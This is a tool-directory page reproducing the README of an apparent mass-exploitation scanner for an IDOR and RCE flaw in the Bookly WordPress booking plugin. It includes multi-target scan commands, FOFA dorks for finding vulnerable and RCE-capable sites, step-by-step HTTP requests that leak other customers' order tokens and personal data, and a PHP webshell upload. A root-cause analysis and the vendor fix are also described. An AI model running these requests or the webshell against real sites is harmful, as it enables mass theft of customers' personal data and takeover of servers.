Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-93399 — Python mass exploitation scanner for CVE-2026-93399 in the Bookly WordPress plugin: version detection, unauthenticated IDOR order-token enumeration, PII extraction, and webshell RCE. | Kitploit
Tools/GitHubGitHub/josemour8/cve-2026-93399
ReconnaissanceVulnerability ScannersPayload GenerationExploitationWeb Application ExploitationData ExfiltrationWeb SecurityPenetration Testing
GitHubjosemour8/cve-2026-93399

CVE-2026-93399

Python mass exploitation scanner for CVE-2026-93399 in the Bookly WordPress plugin: version detection, unauthenticated IDOR order-token enumeration, PII extraction, and webshell RCE.

21 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository

CVE-2026-93399

Bookly <= 28.2 Unauth IDOR + PII Leak + RCE

Mass exploitation scanner for CVE-2026-93399 (CVSS 9.1 Critical) affecting the Bookly — Online Scheduling and Appointment Booking System WordPress plugin (versions <= 28.2).

Table of Contents

  • Overview
  • Vulnerability Chain
  • Affected Versions
  • Requirements
  • Installation
  • Usage
  • FOFA Dorks
  • Attack Flow
  • Output Format
  • Technical Details
  • Disclaimer
  • License

Overview

The Bookly plugin for WordPress is vulnerable to Insecure Direct Object Reference (IDOR) via the bookly_get_form_id, bookly_render_complete, bookly_add_to_calendar, and bookly_rollback_order AJAX actions. All actions are unauthenticated (_default => 'anonymous') and CSRF protection is disabled (csrfTokenValid() returns true).

The bookly_get_form_id handler blindly stores attacker-controlled form_data (including order_id) into a new booking session without any validation. The bookly_render_complete handler then trusts this injected order_id to look up and return the corresponding Order's secret token — enabling unauthenticated attackers to enumerate sequential order IDs, disclose other customers' order tokens, retrieve calendar/appointment information, and permanently delete arbitrary non-completed bookings.

Vulnerability Chain

Step 1: getFormId       → inject form_data[order_id] = VICTIM_ID (IDOR)
Step 2: renderComplete  → leak victim order token via Order::query()
Step 3: addToCalendar    → extract customer PII (staff name, email, service, date)
Step 4: sessionSave     → inject file payload (RCE, requires Files add-on)

Affected Versions

  • Vulnerable: Bookly <= 28.2 (all versions up to and including 28.2)
  • Fixed in: 28.3 (added _prepareFormData() whitelist and _prepareCartData() sanitizer)

Requirements

  • Python 3.8+
  • requests library
pip install requests

Installation

git clone https://github.com/josemour8/CVE-2026-93399.git
cd CVE-2026-93399
pip install requests

Usage

Single Target

# Detect Bookly version (safe, no exploit)
python3 exploit.py -u http://target.com --detect

# IDOR: enumerate order tokens (1-50)
python3 exploit.py -u http://target.com --enumerate --start 1 --end 50

# PII extraction via ICS (staff name, email, appointment data)
python3 exploit.py -u http://target.com --pii

# RCE: attempt webshell upload via session injection
python3 exploit.py -u http://target.com --rce

# Full chain: IDOR + PII + RCE
python3 exploit.py -u http://target.com --full

Mass Scan

# Full chain on target list with 10 threads
python3 exploit.py -f targets.txt --full -th 10 -o results.txt

# Enumerate tokens across multiple targets
python3 exploit.py -f targets.txt --enumerate --start 1 --end 100 -th 20

Options

FlagDescription
-u, --urlSingle target URL
-f, --fileFile with target URLs (one per line)
--detectCheck version only (safe)
--enumerateIDOR: leak order tokens
--piiExtract PII via ICS calendar export
--rceAttempt webshell upload
--fullFull chain: IDOR + PII + RCE
--start NStart order_id (default: 1)
--end NEnd order_id (default: 50)
-th, --threads NNumber of threads (default: 5)
-o, --output FILEOutput file (default: results.txt)
-v, --verboseShow all attempts

FOFA Dorks

Find all Bookly installations

body="bookly-responsive-appointment-booking-tool"

Find Bookly pages with rendered booking form

body="BooklyL10nGlobal"

Version-specific (vulnerable <= 28.2)

body="bookly-main.css?ver=28.2"

Combined (highest confidence)

body="bookly-responsive-appointment-booking-tool" && body="BooklyL10nGlobal"

Find targets with Files add-on (for RCE)

body="bookly-addon-files"

Find targets with file upload field configured (RCE-able)

body="bookly-js-upload"

Attack Flow

Step 1: Inject order_id (IDOR)

POST /wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded

action=bookly_get_form_id
form_data[order_id]=1
form_data[data][first_name]=x
form_data[chain][0][service_id]=1
form_data[chain][0][staff_ids][]=1
form_data[cart][0][service_id]=1
form_data[cart][0][staff_ids][]=1

Response:

{"success":true,"form_id":"a1b2c3d4e5f6...","status":{"booking":"new"}}

Vulnerable code (Ajax.php:45-46):

$form_id = Lib\FormSession::createSession();
Lib\FormSession::saveSession($form_id, self::parameter('form_data'));
// form_data stored RAW — no _prepareFormData() whitelist in <= 28.2

Step 2: Leak order token

POST /wp-admin/admin-ajax.php
action=bookly_render_complete
form_id=a1b2c3d4e5f6...

Response:

{"success":true,"bookly_order":"de2730e13265e86364172d99444ebe3d","html":"..."}

Vulnerable code (Ajax.php:733):

'bookly_order' => Lib\Entities\Order::query()
    ->where('id', $userData->getOrderId())  // attacker-controlled
    ->fetchVar('token')                       // victim token leaked

Step 3: Extract PII via ICS

GET /wp-admin/admin-ajax.php?action=bookly_add_to_calendar&bookly_order=LEAKED_TOKEN&calendar=ics

Response: ICS file with customer data:

BEGIN:VEVENT
ORGANIZER;CN=Admissions Manager:mailto:[email protected]
SUMMARY:TNS Gulberg - Tour
DTSTART:20230908T080000Z
END:VEVENT

Step 4: RCE (requires Files add-on)

POST /wp-admin/admin-ajax.php
action=bookly_files_upload
custom_field_id=<field_id_from_booking_form>
csrf_token=<from_homepage>
file=shell.php (Content: <?php echo system($_GET["c"]); ?>)

Shell location: /wp-content/uploads/bookly-files/shell.php

Output Format

http://target.com | IDOR | order_id=1 | token=de2730e13265e86364172d99444ebe3d
http://target.com | PII | order_id=2 | staff=Admissions Manager | [email protected] | service=TNS Gulberg - Tour | date=20230908T080000Z
http://target.com | RCE | http://target.com/wp-content/uploads/bookly-files/pxd001.php?c=id

Technical Details

Root Cause

The getFormId() handler stores the entire form_data parameter (user-controlled JSON) into the session database without any whitelist or sanitization. This allows an attacker to inject arbitrary session keys, including order_id.

The renderComplete() handler reads order_id from the session and queries the Order table directly — without verifying that the current session created that order.

Two Compounding Flaws

  1. CSRF disabled — csrfTokenValid() is overridden to return true in the booking module
  2. All actions anonymous — permissions() returns array('_default' => 'anonymous'), so every handler registers both wp_ajax_ and wp_ajax_nopriv_ hooks

The Fix (28.3)

Version 28.3 added _prepareFormData() — a strict whitelist that strips everything except display settings (skip_service_step, hide_service_part1, hide_service_part2, defaults). Also added _prepareCartData() to sanitize cart item keys.

// 28.2 (vulnerable):
Lib\FormSession::saveSession($form_id, self::parameter('form_data'));

// 28.3 (fixed):
Lib\FormSession::saveSession($form_id, self::_prepareFormData(self::parameter('form_data')));

RCE Prerequisites

RCE via webshell upload requires:

  1. Bookly Files add-on installed and active
  2. Custom field of type "file" configured in the booking form
  3. Extension allowlist must be misconfigured (empty or permissive)
Download Tool